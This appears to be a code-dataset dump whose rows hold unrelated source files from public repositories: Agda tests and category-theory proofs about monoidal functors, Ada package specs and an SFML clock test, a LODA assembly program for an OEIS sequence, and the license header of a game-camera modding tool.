max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
test/Fail/Issue2964.agda
shlevy/agda
1,989
5323
<gh_stars>1000+ open import Agda.Builtin.Bool open import Agda.Builtin.Equality record R : Set₁ where field fun : (A : Set) → A → Bool → A ≡ Bool → Bool rule : ∀ x → fun Bool false x refl ≡ false open R test : R fun test .Bool true true refl = true fun test _ _ _ _ = false rule test x = refl
specs/ada/common/tkmrpc-response-ike-esa_select-convert.ads
DrenfongWong/tkm-rpc
0
30262
with Ada.Unchecked_Conversion; package Tkmrpc.Response.Ike.Esa_Select.Convert is function To_Response is new Ada.Unchecked_Conversion ( Source => Esa_Select.Response_Type, Target => Response.Data_Type); function From_Response is new Ada.Unchecked_Conversion ( Source => Response.Data_Type, Target => Esa_Select.Response_Type); end Tkmrpc.Response.Ike.Esa_Select.Convert;
test/Succeed/Issue2727.agda
cruhland/agda
1,989
14141
module _ where open import Agda.Builtin.Equality using (_≡_; refl) -- First example -- module M (A : Set) where record R : Set where data D : Set where open R (record {}) postulate x : A F : D → Set₁ F _ rewrite refl {x = x} = Set -- Second example -- record ⊤ : Set where no-eta-equality constructor tt data Box (A : Set) : Set where [_] : A → Box A Unit : Set Unit = Box ⊤ F : Unit → Set → Set F [ _ ] x = x G : {P : Unit → Set} → ((x : ⊤) → P [ x ]) → ((x : Unit) → P x) G f [ x ] = f x record R : Set₁ where no-eta-equality field f : (x : Unit) → Box (F x ⊤) data ⊥ : Set where r : R r = record { f = G [_] } open R r H : ⊥ → Set₁ H _ rewrite refl {x = tt} = Set
programs/oeis/062/A062720.asm
neoneye/loda
22
25471
<filename>programs/oeis/062/A062720.asm ; A062720: If n is odd then 2*n else prime(n). ; 2,3,6,7,10,13,14,19,18,29,22,37,26,43,30,53,34,61,38,71,42,79,46,89,50,101,54,107,58,113,62,131,66,139,70,151,74,163,78,173,82,181,86,193,90,199,94,223,98,229,102,239,106,251,110,263,114,271,118,281,122,293 mov $6,$0 mul $0,2 mov $3,-1 mov $5,47582 lpb $5 add $4,2 mod $6,2 lpb $6 mul $0,$6 seq $0,173919 ; Numbers that are prime or one less than a prime. add $2,$4 sub $5,$6 div $6,6 lpe add $3,$2 lpe sub $0,$3 add $0,1
src/arch/Ada/types-c.ads
PThierry/ewok-kernel
65
11628
<reponame>PThierry/ewok-kernel package types.c with spark_mode => on is type t_retval is (SUCCESS, FAILURE) with size => 8; for t_retval use (SUCCESS => 0, FAILURE => 1); -- -- C string -- type c_string is array (positive range <>) of aliased character; for c_string'component_size use character'size; -- C_string length (without nul character) function len (s : c_string) return natural; -- String conversion procedure to_c (dst : out c_string; src : in string); procedure to_ada (dst : out string; src : in c_string); -- -- C buffer -- subtype c_buffer is byte_array; -- -- Boolean -- type bool is new boolean with size => 8; for bool use (true => 1, false => 0); end types.c;
tests/clock/main.adb
Fabien-Chouteau/ASFML
0
6409
<reponame>Fabien-Chouteau/ASFML with Ada.Text_IO; use Ada.Text_IO; with Ada.Float_Text_IO; use Ada.Float_Text_IO; with Ada.Integer_Text_IO; use Ada.Integer_Text_IO; with Sf.System.Clock; use Sf.System, Sf.System.Clock; with Sf.System.Sleep; use Sf.System.Sleep; with Sf.System.Time; use Sf.System.Time; procedure Main is My_Clock : sfClock_Ptr; begin My_Clock := Create; sfDelay(0.05); Put ("Time elapsed(s): "); Put (asSeconds (GetElapsedTime (My_Clock)), Fore => 0, Aft => 3, Exp => 0); New_Line; Put ("Time elapsed(ms) since start: "); Put (Integer (asMilliseconds (Restart (My_Clock)))); New_Line; sfSleep(sfMilliseconds(1050)); Put ("Time elapsed(ms): "); Put (Integer (asMilliseconds (GetElapsedTime (My_Clock)))); New_Line; Destroy (My_Clock); end Main;
src/Categories/Functor/Monoidal/Properties.agda
TOTBWF/agda-categories
0
5518
<gh_stars>0 {-# OPTIONS --without-K --safe #-} module Categories.Functor.Monoidal.Properties where open import Level open import Data.Product using (_,_) open import Categories.Category open import Categories.Category.Monoidal open import Categories.Category.Cartesian.Structure open import Categories.Functor renaming (id to idF) open import Categories.Functor.Properties open import Categories.Functor.Cartesian open import Categories.Functor.Monoidal open import Categories.Functor.Monoidal.Braided as Braided open import Categories.Functor.Monoidal.Symmetric as Symmetric open import Categories.NaturalTransformation import Categories.Object.Terminal as ⊤ import Categories.Object.Product as P import Categories.Morphism as M import Categories.Morphism.Reasoning as MR private variable o o′ o″ ℓ ℓ′ ℓ″ e e′ e″ : Level -- The identity functor is monoidal module _ (C : MonoidalCategory o ℓ e) where private module C = MonoidalCategory C open C.HomReasoning open M C.U open MR C.U idF-IsStrongMonoidal : IsStrongMonoidalFunctor C C idF idF-IsStrongMonoidal = record { ε = ≅.refl ; ⊗-homo = record { F⇒G = record { η = λ _ → C.id ; commute = λ _ → id-comm-sym ; sym-commute = λ _ → id-comm } ; F⇐G = record { η = λ _ → C.id ; commute = λ _ → id-comm-sym ; sym-commute = λ _ → id-comm } ; iso = λ _ → record { isoˡ = C.identity² ; isoʳ = C.identity² } } ; associativity = begin C.associator.from C.∘ C.id C.∘ Functor.F₁ C.⊗ (C.id , C.id) ≈⟨ refl⟩∘⟨ elimʳ C.⊗.identity ⟩ C.associator.from C.∘ C.id ≈⟨ id-comm ⟩ C.id C.∘ C.associator.from ≈⟨ refl⟩∘⟨ introˡ C.⊗.identity ⟩ C.id C.∘ Functor.F₁ C.⊗ (C.id , C.id) C.∘ C.associator.from ∎ ; unitaryˡ = elimʳ (elimʳ C.⊗.identity) ; unitaryʳ = elimʳ (elimʳ C.⊗.identity) } idF-IsMonoidal : IsMonoidalFunctor C C idF idF-IsMonoidal = IsStrongMonoidalFunctor.isMonoidal idF-IsStrongMonoidal idF-StrongMonoidal : StrongMonoidalFunctor C C idF-StrongMonoidal = record { isStrongMonoidal = idF-IsStrongMonoidal } idF-Monoidal : MonoidalFunctor C C idF-Monoidal = record { isMonoidal = idF-IsMonoidal } -- The identity functor is braided monoidal module _ (C : BraidedMonoidalCategory o ℓ e) where open Braided idF-IsStrongBraidedMonoidal : Strong.IsBraidedMonoidalFunctor C C idF idF-IsStrongBraidedMonoidal = record { isStrongMonoidal = idF-IsStrongMonoidal monoidalCategory ; braiding-compat = MR.id-comm U } where open BraidedMonoidalCategory C idF-IsBraidedMonoidal : Lax.IsBraidedMonoidalFunctor C C idF idF-IsBraidedMonoidal = Strong.IsBraidedMonoidalFunctor.isLaxBraidedMonoidal idF-IsStrongBraidedMonoidal idF-StrongBraidedMonoidal : Strong.BraidedMonoidalFunctor C C idF-StrongBraidedMonoidal = record { isBraidedMonoidal = idF-IsStrongBraidedMonoidal } idF-BraidedMonoidal : Lax.BraidedMonoidalFunctor C C idF-BraidedMonoidal = record { isBraidedMonoidal = idF-IsBraidedMonoidal } -- The identity functor is symmetric monoidal module _ (C : SymmetricMonoidalCategory o ℓ e) where open Symmetric open SymmetricMonoidalCategory C using (braidedMonoidalCategory) idF-StrongSymmetricMonoidal : Strong.SymmetricMonoidalFunctor C C idF-StrongSymmetricMonoidal = record { isBraidedMonoidal = idF-IsStrongBraidedMonoidal braidedMonoidalCategory } idF-SymmetricMonoidal : Lax.SymmetricMonoidalFunctor C C idF-SymmetricMonoidal = record { isBraidedMonoidal = idF-IsBraidedMonoidal braidedMonoidalCategory } -- Functor composition preserves monoidality module _ (A : MonoidalCategory o ℓ e) (B : MonoidalCategory o′ ℓ′ e′) (C : MonoidalCategory o″ ℓ″ e″) where private module A = MonoidalCategory A module B = MonoidalCategory B module C = MonoidalCategory C open P C.U open M C.U open C.HomReasoning open MR C.U ∘-IsMonoidal : ∀ {F : Functor A.U B.U} {G : Functor B.U C.U} → IsMonoidalFunctor B C G → IsMonoidalFunctor A B F → IsMonoidalFunctor A C (G ∘F F) ∘-IsMonoidal {F} {G} CG CF = record { ε = G.₁ CF.ε C.∘ CG.ε ; ⊗-homo = ntHelper record { η = λ { (X , Y) → G.₁ (CF.⊗-homo.η (X , Y)) C.∘ CG.⊗-homo.η (F.F₀ X , F.F₀ Y) } ; commute = λ { (f , g) → begin (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (G.₁ (F.₁ f) C.⊗₁ G.₁ (F.₁ g)) ≈⟨ C.assoc ⟩ G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _ C.∘ (G.₁ (F.₁ f) C.⊗₁ G.₁ (F.₁ g)) ≈⟨ pushʳ (CG.⊗-homo.commute _) ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (F.₁ f B.⊗₁ F.₁ g)) C.∘ CG.⊗-homo.η _ ≈⟨ pushˡ ([ G ]-resp-square (CF.⊗-homo.commute _)) ⟩ G.₁ (F.₁ (f A.⊗₁ g)) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _ ∎ } } ; associativity = begin G.₁ (F.₁ A.associator.from) C.∘ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ ((G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.⊗₁ C.id) ≈⟨ refl⟩∘⟨ refl⟩∘⟨ (Functor.homomorphism (C.-⊗ _) ○ C.∘-resp-≈ˡ (C.⊗.F-resp-≈ (C.Equiv.refl , ⟺ G.identity))) ⟩ G.₁ (F.₁ A.associator.from) C.∘ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (G.₁ (CF.⊗-homo.η _) C.⊗₁ G.₁ B.id) C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ refl⟩∘⟨ center (CG.⊗-homo.commute _) ⟩ G.₁ (F.₁ A.associator.from) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ (G.₁ (CF.⊗-homo.η _ B.⊗₁ B.id) C.∘ CG.⊗-homo.η _) C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ C.∘-resp-≈ʳ (center⁻¹ C.Equiv.refl C.Equiv.refl) ○ C.sym-assoc ⟩ (G.₁ (F.₁ A.associator.from) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (CF.⊗-homo.η _ B.⊗₁ B.id)) C.∘ CG.⊗-homo.η _ C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ C.∘-resp-≈ʳ (⟺ G.homomorphism) ⟩∘⟨refl ⟩ (G.₁ (F.₁ A.associator.from) C.∘ G.₁ (CF.⊗-homo.η _ B.∘ CF.⊗-homo.η _ B.⊗₁ B.id)) C.∘ CG.⊗-homo.η _ C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ [ G ]-resp-square CF.associativity ⟩∘⟨refl ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ G.₁ ((B.id B.⊗₁ CF.⊗-homo.η _) B.∘ B.associator.from)) C.∘ CG.⊗-homo.η _ C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ C.∘-resp-≈ʳ G.homomorphism ⟩∘⟨refl ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (B.id B.⊗₁ CF.⊗-homo.η _) C.∘ G.₁ B.associator.from) C.∘ CG.⊗-homo.η _ C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ C.∘-resp-≈ˡ C.sym-assoc ○ C.assoc ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (B.id B.⊗₁ CF.⊗-homo.η _)) C.∘ G.₁ B.associator.from C.∘ CG.⊗-homo.η _ C.∘ (CG.⊗-homo.η _ C.⊗₁ C.id) ≈⟨ refl⟩∘⟨ CG.associativity ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (B.id B.⊗₁ CF.⊗-homo.η _)) C.∘ CG.⊗-homo.η _ C.∘ (C.id C.⊗₁ CG.⊗-homo.η _) C.∘ C.associator.from ≈⟨ center (CG.⊗-homo.sym-commute _) ⟩ G.₁ (CF.⊗-homo.η _) C.∘ (CG.⊗-homo.η _ C.∘ (G.₁ B.id C.⊗₁ G.₁ (CF.⊗-homo.η _))) C.∘ (C.id C.⊗₁ CG.⊗-homo.η _) C.∘ C.associator.from ≈⟨ pull-first C.Equiv.refl ○ C.∘-resp-≈ʳ (C.∘-resp-≈ˡ (C.⊗.F-resp-≈ (G.identity , C.Equiv.refl))) ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (C.id C.⊗₁ G.₁ (CF.⊗-homo.η _)) C.∘ (C.id C.⊗₁ CG.⊗-homo.η _) C.∘ C.associator.from ≈˘⟨ refl⟩∘⟨ pushˡ (Functor.homomorphism (_ C.⊗-)) ⟩ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (C.id C.⊗₁ (G.F₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _)) C.∘ C.associator.from ∎ ; unitaryˡ = begin G.₁ (F.₁ A.unitorˡ.from) C.∘ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ ((G.₁ CF.ε C.∘ CG.ε) C.⊗₁ C.id) ≈⟨ refl⟩∘⟨ refl⟩∘⟨ (Functor.homomorphism (C.-⊗ _) ○ C.∘-resp-≈ˡ (C.⊗.F-resp-≈ (C.Equiv.refl , ⟺ G.identity))) ⟩ G.₁ (F.₁ A.unitorˡ.from) C.∘ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (G.₁ CF.ε C.⊗₁ G.₁ B.id) C.∘ (CG.ε C.⊗₁ C.id) ≈⟨ refl⟩∘⟨ center (CG.⊗-homo.commute _) ⟩ G.₁ (F.₁ A.unitorˡ.from) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ (G.₁ (CF.ε B.⊗₁ B.id) C.∘ CG.⊗-homo.η _) C.∘ (CG.ε C.⊗₁ C.id) ≈⟨ C.∘-resp-≈ʳ (center⁻¹ C.Equiv.refl C.Equiv.refl) ○ C.sym-assoc ⟩ (G.₁ (F.₁ A.unitorˡ.from) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (CF.ε B.⊗₁ B.id)) C.∘ CG.⊗-homo.η _ C.∘ (CG.ε C.⊗₁ C.id) ≈⟨ C.∘-resp-≈ʳ (⟺ G.homomorphism) ⟩∘⟨refl ⟩ (G.₁ (F.₁ A.unitorˡ.from) C.∘ G.₁ (CF.⊗-homo.η _ B.∘ CF.ε B.⊗₁ B.id)) C.∘ CG.⊗-homo.η _ C.∘ (CG.ε C.⊗₁ C.id) ≈⟨ [ G ]-resp-∘ CF.unitaryˡ ⟩∘⟨refl ⟩ G.₁ B.unitorˡ.from C.∘ CG.⊗-homo.η _ C.∘ (CG.ε C.⊗₁ C.id) ≈⟨ CG.unitaryˡ ⟩ C.unitorˡ.from ∎ ; unitaryʳ = begin G.₁ (F.₁ A.unitorʳ.from) C.∘ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (C.id C.⊗₁ (G.₁ CF.ε C.∘ CG.ε)) ≈⟨ (refl⟩∘⟨ refl⟩∘⟨ (Functor.homomorphism (_ C.⊗-) ○ C.∘-resp-≈ˡ (C.⊗.F-resp-≈ (⟺ G.identity , C.Equiv.refl)))) ⟩ G.₁ (F.₁ A.unitorʳ.from) C.∘ (G.₁ (CF.⊗-homo.η _) C.∘ CG.⊗-homo.η _) C.∘ (G.₁ B.id C.⊗₁ G.₁ CF.ε) C.∘ (C.id C.⊗₁ CG.ε) ≈⟨ refl⟩∘⟨ center (CG.⊗-homo.commute _) ⟩ G.₁ (F.₁ A.unitorʳ.from) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ (G.₁ (B.id B.⊗₁ CF.ε) C.∘ CG.⊗-homo.η _) C.∘ (C.id C.⊗₁ CG.ε) ≈⟨ C.∘-resp-≈ʳ (center⁻¹ C.Equiv.refl C.Equiv.refl) ○ C.sym-assoc ⟩ (G.₁ (F.₁ A.unitorʳ.from) C.∘ G.₁ (CF.⊗-homo.η _) C.∘ G.₁ (B.id B.⊗₁ CF.ε)) C.∘ CG.⊗-homo.η _ C.∘ (C.id C.⊗₁ CG.ε) ≈⟨ C.∘-resp-≈ʳ (⟺ G.homomorphism) ⟩∘⟨refl ⟩ (G.₁ (F.₁ A.unitorʳ.from) C.∘ G.F₁ (CF.⊗-homo.η _ B.∘ (B.id B.⊗₁ CF.ε))) C.∘ CG.⊗-homo.η _ C.∘ (C.id C.⊗₁ CG.ε) ≈⟨ [ G ]-resp-∘ CF.unitaryʳ ⟩∘⟨refl ⟩ G.F₁ B.unitorʳ.from C.∘ CG.⊗-homo.η _ C.∘ C.id C.⊗₁ CG.ε ≈⟨ CG.unitaryʳ ⟩ C.unitorʳ.from ∎ } where module F = Functor F module G = Functor G module CF = IsMonoidalFunctor CF module CG = IsMonoidalFunctor CG ∘-IsStrongMonoidal : ∀ {F : Functor A.U B.U} {G : Functor B.U C.U} → IsStrongMonoidalFunctor B C G → IsStrongMonoidalFunctor A B F → IsStrongMonoidalFunctor A C (G ∘F F) ∘-IsStrongMonoidal {F} {G} CG CF = record { ε = ≅.trans CG.ε ([ G ]-resp-≅ CF.ε) ; ⊗-homo = record { F⇒G = ∘.⊗-homo ; F⇐G = ntHelper record { η = λ { (X , Y) → CG.⊗-homo.⇐.η (F.F₀ X , F.F₀ Y) C.∘ G.₁ (CF.⊗-homo.⇐.η (X , Y)) } ; commute = λ _ → pullʳ ([ G ]-resp-square (CF.⊗-homo.⇐.commute _)) ○ pullˡ (CG.⊗-homo.⇐.commute _) ○ C.assoc } ; iso = λ _ → record { isoˡ = cancelInner ([ G ]-resp-∘ (CF.⊗-homo.iso.isoˡ _) ○ G.identity) ○ CG.⊗-homo.iso.isoˡ _ ; isoʳ = cancelInner (CG.⊗-homo.iso.isoʳ _) ○ [ G ]-resp-∘ (CF.⊗-homo.iso.isoʳ _) ○ G.identity } } ; associativity = ∘.associativity ; unitaryˡ = ∘.unitaryˡ ; unitaryʳ = ∘.unitaryʳ } where module F = Functor F module G = Functor G module CF = IsStrongMonoidalFunctor CF module CG = IsStrongMonoidalFunctor CG module ∘ = IsMonoidalFunctor (∘-IsMonoidal CG.isMonoidal CF.isMonoidal) module _ {A : MonoidalCategory o ℓ e} {B : MonoidalCategory o′ ℓ′ e′} {C : MonoidalCategory o″ ℓ″ e″} where ∘-StrongMonoidal : StrongMonoidalFunctor B C → StrongMonoidalFunctor A B → StrongMonoidalFunctor A C ∘-StrongMonoidal G F = record { isStrongMonoidal = ∘-IsStrongMonoidal _ _ _ (StrongMonoidalFunctor.isStrongMonoidal G) (StrongMonoidalFunctor.isStrongMonoidal F) } ∘-Monoidal : MonoidalFunctor B C → MonoidalFunctor A B → MonoidalFunctor A C ∘-Monoidal G F = record { isMonoidal = ∘-IsMonoidal _ _ _ (MonoidalFunctor.isMonoidal G) (MonoidalFunctor.isMonoidal F) } -- Functor composition preserves braided monoidality module _ {A : BraidedMonoidalCategory o ℓ e} {B : BraidedMonoidalCategory o′ ℓ′ e′} {C : BraidedMonoidalCategory o″ ℓ″ e″} where private module A = BraidedMonoidalCategory A module B = BraidedMonoidalCategory B module C = BraidedMonoidalCategory C open Braided ∘-IsBraidedMonoidal : ∀ {G : Functor B.U C.U} {F : Functor A.U B.U} → Lax.IsBraidedMonoidalFunctor B C G → Lax.IsBraidedMonoidalFunctor A B F → Lax.IsBraidedMonoidalFunctor A C (G ∘F F) ∘-IsBraidedMonoidal {G} {F} GB FB = record { isMonoidal = ∘-IsMonoidal _ _ _ (isMonoidal GB) (isMonoidal FB) ; braiding-compat = begin G₁ (F₁ AB) ∘ G₁ FH ∘ GH ≈˘⟨ pushˡ (homomorphism G) ⟩ G₁ (F₁ AB B.∘ FH) ∘ GH ≈⟨ F-resp-≈ G (braiding-compat FB) ⟩∘⟨refl ⟩ G₁ (FH B.∘ BB) ∘ GH ≈⟨ pushˡ (homomorphism G) ⟩ G₁ FH ∘ G₁ BB ∘ GH ≈⟨ pushʳ (braiding-compat GB) ⟩ (G₁ FH ∘ GH) ∘ CB ∎ } where open C open HomReasoning open MR C.U open Functor hiding (F₁) open Functor F using (F₁) open Functor G using () renaming (F₁ to G₁) open Lax.IsBraidedMonoidalFunctor FH = λ {X Y} → ⊗-homo.η FB (X , Y) GH = λ {X Y} → ⊗-homo.η GB (X , Y) AB = λ {X Y} → A.braiding.⇒.η (X , Y) BB = λ {X Y} → B.braiding.⇒.η (X , Y) CB = λ {X Y} → C.braiding.⇒.η (X , Y) ∘-IsStrongBraidedMonoidal : ∀ {G : Functor B.U C.U} {F : Functor A.U B.U} → Strong.IsBraidedMonoidalFunctor B C G → Strong.IsBraidedMonoidalFunctor A B F → Strong.IsBraidedMonoidalFunctor A C (G ∘F F) ∘-IsStrongBraidedMonoidal {G} {F} GB FB = record { isStrongMonoidal = ∘-IsStrongMonoidal _ _ _ (isStrongMonoidal GB) (isStrongMonoidal FB) ; braiding-compat = Lax.IsBraidedMonoidalFunctor.braiding-compat (∘-IsBraidedMonoidal (isLaxBraidedMonoidal GB) (isLaxBraidedMonoidal FB)) } where open Strong.IsBraidedMonoidalFunctor ∘-BraidedMonoidal : Lax.BraidedMonoidalFunctor B C → Lax.BraidedMonoidalFunctor A B → Lax.BraidedMonoidalFunctor A C ∘-BraidedMonoidal G F = record { isBraidedMonoidal = ∘-IsBraidedMonoidal (isBraidedMonoidal G) (isBraidedMonoidal F) } where open Lax.BraidedMonoidalFunctor hiding (F) ∘-StrongBraidedMonoidal : Strong.BraidedMonoidalFunctor B C → Strong.BraidedMonoidalFunctor A B → Strong.BraidedMonoidalFunctor A C ∘-StrongBraidedMonoidal G F = record { isBraidedMonoidal = ∘-IsStrongBraidedMonoidal (isBraidedMonoidal G) (isBraidedMonoidal F) } where open Strong.BraidedMonoidalFunctor hiding (F) -- Functor composition preserves symmetric monoidality module _ {A : SymmetricMonoidalCategory o ℓ e} {B : SymmetricMonoidalCategory o′ ℓ′ e′} {C : SymmetricMonoidalCategory o″ ℓ″ e″} where open Symmetric ∘-SymmetricMonoidal : Lax.SymmetricMonoidalFunctor B C → Lax.SymmetricMonoidalFunctor A B → Lax.SymmetricMonoidalFunctor A C ∘-SymmetricMonoidal G F = record { isBraidedMonoidal = ∘-IsBraidedMonoidal (isBraidedMonoidal G) (isBraidedMonoidal F) } where open Lax.SymmetricMonoidalFunctor hiding (F) ∘-StrongSymmetricMonoidal : Strong.SymmetricMonoidalFunctor B C → Strong.SymmetricMonoidalFunctor A B → Strong.SymmetricMonoidalFunctor A C ∘-StrongSymmetricMonoidal G F = record { isBraidedMonoidal = ∘-IsStrongBraidedMonoidal (isBraidedMonoidal G) (isBraidedMonoidal F) } where open Strong.SymmetricMonoidalFunctor hiding (F) module _ (C : CartesianCategory o ℓ e) (D : CartesianCategory o′ ℓ′ e′) where private module C = CartesianCategory C module D = CartesianCategory D open D.HomReasoning open MR D.U module _ (F : StrongMonoidalFunctor C.monoidalCategory D.monoidalCategory) where private module F = StrongMonoidalFunctor F F-resp-⊤ : ⊤.IsTerminal D.U (F.F₀ C.⊤) F-resp-⊤ = ⊤.Terminal.⊤-is-terminal (⊤.transport-by-iso D.U D.terminal F.ε) module F-resp-⊤ = ⊤.IsTerminal F-resp-⊤ lemma₁ : ∀ {X} → F.ε.from D.∘ D.! {F.₀ X} D.≈ F.₁ (C.! {X}) lemma₁ = F-resp-⊤.!-unique _ π₁-comm : ∀ {X Y} → F.F₁ C.π₁ D.∘ F.⊗-homo.⇒.η (X , Y) D.≈ D.π₁ π₁-comm {X} {Y} = begin F.F₁ C.π₁ D.∘ F.⊗-homo.⇒.η (X , Y) ≈˘⟨ [ F.F ]-resp-∘ (C.Equiv.trans C.project₁ C.identityˡ) ⟩∘⟨refl ⟩ (F.F₁ C.π₁ D.∘ F.F₁ (C.id C.⁂ C.!)) D.∘ F.⊗-homo.⇒.η (X , Y) ≈⟨ pullʳ (F.⊗-homo.⇒.sym-commute _) ⟩ F.F₁ C.π₁ D.∘ F.⊗-homo.⇒.η (X , C.⊤) D.∘ (F.F₁ C.id D.⁂ F.F₁ C.!) ≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ ([ F.₀ X D.×- ]-resp-∘ lemma₁ ○ Functor.F-resp-≈ D.-×- (⟺ F.identity , D.Equiv.refl)) ⟩ F.F₁ C.π₁ D.∘ F.⊗-homo.⇒.η (X , C.⊤) D.∘ (D.id D.⁂ F.ε.from) D.∘ (D.id D.⁂ D.!) ≈⟨ D.∘-resp-≈ʳ D.sym-assoc ○ D.sym-assoc ⟩ (F.F₁ C.π₁ D.∘ F.⊗-homo.⇒.η (X , C.⊤) D.∘ (D.id D.⁂ F.ε.from)) D.∘ (D.id D.⁂ D.!) ≈⟨ F.unitaryʳ ⟩∘⟨refl ⟩ D.π₁ D.∘ (D.id D.⁂ D.!) ≈⟨ D.project₁ ○ D.identityˡ ⟩ D.π₁ ∎ π₂-comm : ∀ {X Y} → F.F₁ C.π₂ D.∘ F.⊗-homo.⇒.η (X , Y) D.≈ D.π₂ π₂-comm {X} {Y} = begin F.F₁ C.π₂ D.∘ F.⊗-homo.⇒.η (X , Y) ≈˘⟨ [ F.F ]-resp-∘ (C.Equiv.trans C.project₂ C.identityˡ) ⟩∘⟨refl ⟩ (F.F₁ C.π₂ D.∘ F.F₁ (C.! C.⁂ C.id)) D.∘ F.⊗-homo.⇒.η (X , Y) ≈⟨ pullʳ (F.⊗-homo.⇒.sym-commute _) ⟩ F.F₁ C.π₂ D.∘ F.⊗-homo.⇒.η (C.⊤ , Y) D.∘ (F.F₁ C.! D.⁂ F.F₁ C.id) ≈˘⟨ refl⟩∘⟨ refl⟩∘⟨ ([ D.-× F.₀ Y ]-resp-∘ lemma₁ ○ Functor.F-resp-≈ D.-×- (D.Equiv.refl , ⟺ F.identity)) ⟩ F.F₁ C.π₂ D.∘ F.⊗-homo.⇒.η (C.⊤ , Y) D.∘ (F.ε.from D.⁂ D.id) D.∘ (D.! D.⁂ D.id) ≈⟨ D.∘-resp-≈ʳ D.sym-assoc ○ D.sym-assoc ⟩ (F.F₁ C.π₂ D.∘ F.⊗-homo.⇒.η (C.⊤ , Y) D.∘ (F.ε.from D.⁂ D.id)) D.∘ (D.! D.⁂ D.id) ≈⟨ F.unitaryˡ ⟩∘⟨refl ⟩ D.π₂ D.∘ (D.! D.⁂ D.id) ≈⟨ D.project₂ ○ D.identityˡ ⟩ D.π₂ ∎ unique : ∀ {X A B} {h : X D.⇒ F.₀ (A C.× B)} {i : X D.⇒ F.₀ A} {j : X D.⇒ F.₀ B} → F.₁ C.π₁ D.∘ h D.≈ i → F.₁ C.π₂ D.∘ h D.≈ j → F.⊗-homo.⇒.η (A , B) D.∘ D.product.⟨ i , j ⟩ D.≈ h unique eq₁ eq₂ = ⟺ (switch-tofromˡ F.⊗-homo.FX≅GX (⟺ (D.unique (pullˡ (⟺ (switch-fromtoʳ F.⊗-homo.FX≅GX π₁-comm)) ○ eq₁) (pullˡ (⟺ (switch-fromtoʳ F.⊗-homo.FX≅GX π₂-comm)) ○ eq₂)))) StrongMonoidal⇒Cartesian : CartesianF C D StrongMonoidal⇒Cartesian = record { F = F.F ; isCartesian = record { F-resp-⊤ = F-resp-⊤ ; F-resp-× = λ {A B} → record { ⟨_,_⟩ = λ f g → F.⊗-homo.⇒.η _ D.∘ D.⟨ f , g ⟩ ; project₁ = λ {_ h i} → begin F.₁ C.π₁ D.∘ F.⊗-homo.⇒.η _ D.∘ D.⟨ h , i ⟩ ≈⟨ pullˡ π₁-comm ⟩ D.π₁ D.∘ D.product.⟨ h , i ⟩ ≈⟨ D.project₁ ⟩ h ∎ ; project₂ = λ {_ h i} → begin F.₁ C.π₂ D.∘ F.⊗-homo.⇒.η _ D.∘ D.⟨ h , i ⟩ ≈⟨ pullˡ π₂-comm ⟩ D.π₂ D.∘ D.⟨ h , i ⟩ ≈⟨ D.project₂ ⟩ i ∎ ; unique = unique } } }
Cameras/DXMD/InjectableGenericCameraSystem/Interceptor.asm
Cyberim/InjectableGenericCameraSystem
623
24934
;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;// Part of Injectable Generic Camera System ;// Copyright(c) 2017, <NAME> ;// All rights reserved. ;// https://github.com/FransBouma/InjectableGenericCameraSystem ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions are met : ;// ;// * Redistributions of source code must retain the above copyright notice, this ;// list of conditions and the following disclaimer. ;// ;// * Redistributions in binary form must reproduce the above copyright notice, ;// this list of conditions and the following disclaimer in the documentation ;// and / or other materials provided with the distribution. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 